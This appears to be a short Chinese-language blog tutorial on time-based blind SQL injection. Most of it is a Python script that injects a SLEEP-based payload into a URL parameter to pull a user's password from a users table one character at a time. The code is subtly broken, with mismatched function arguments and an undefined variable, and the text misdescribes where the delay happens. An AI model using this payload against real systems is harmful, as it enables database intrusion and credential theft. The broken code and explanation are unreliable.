時間盲注是一種利用注入漏洞獲取敏感信息的方法,其利用數據庫的延遲函數來判斷語句執行的時間。在 Python 中,我們可以使用 requests 庫和 pymysql 庫來實現這種攻擊。
import requests import time import string url = 'http://example.com/test?id=1' cookies = {'session_id': '1234567890'} def check(payload): s = requests.Session() s.cookies.update(cookies) start_time = time.time() s.get(url + "' AND IF(SUBSTR((SELECT password FROM users WHERE id=1),{0},1)='{1}', SLEEP(3), 1)#".format(payload, x)) end_time = time.time() return end_time - start_time >2 def exploit(): chars = string.printable.replace('%', '').replace('_', '') password = '' for i in range(1, 21): for c in chars: if check(i, c): password += c break print('Password:', password) exploit()
在這段代碼中,我們首先定義了一個 URL 和一個 cookie,然后定義了一個 check 函數來測試一個特定位置的字符是否為給定字符。如果該字符是正確的,check 函數將使腳本休眠 3 秒鐘來模擬服務器的響應時間。接下來,我們使用 for 循環遍歷字符串,嘗試每個字符來獲取完整的密碼。
Python 中的時間盲注需要一些耐心,因為它需要嘗試很多次才能成功。然而,它是一種非常有效的漏洞利用技術,可以讓黑客輕松地獲取數據庫中的機密信息。因此,在編寫代碼時,請務必小心。
下一篇mysql創建賬號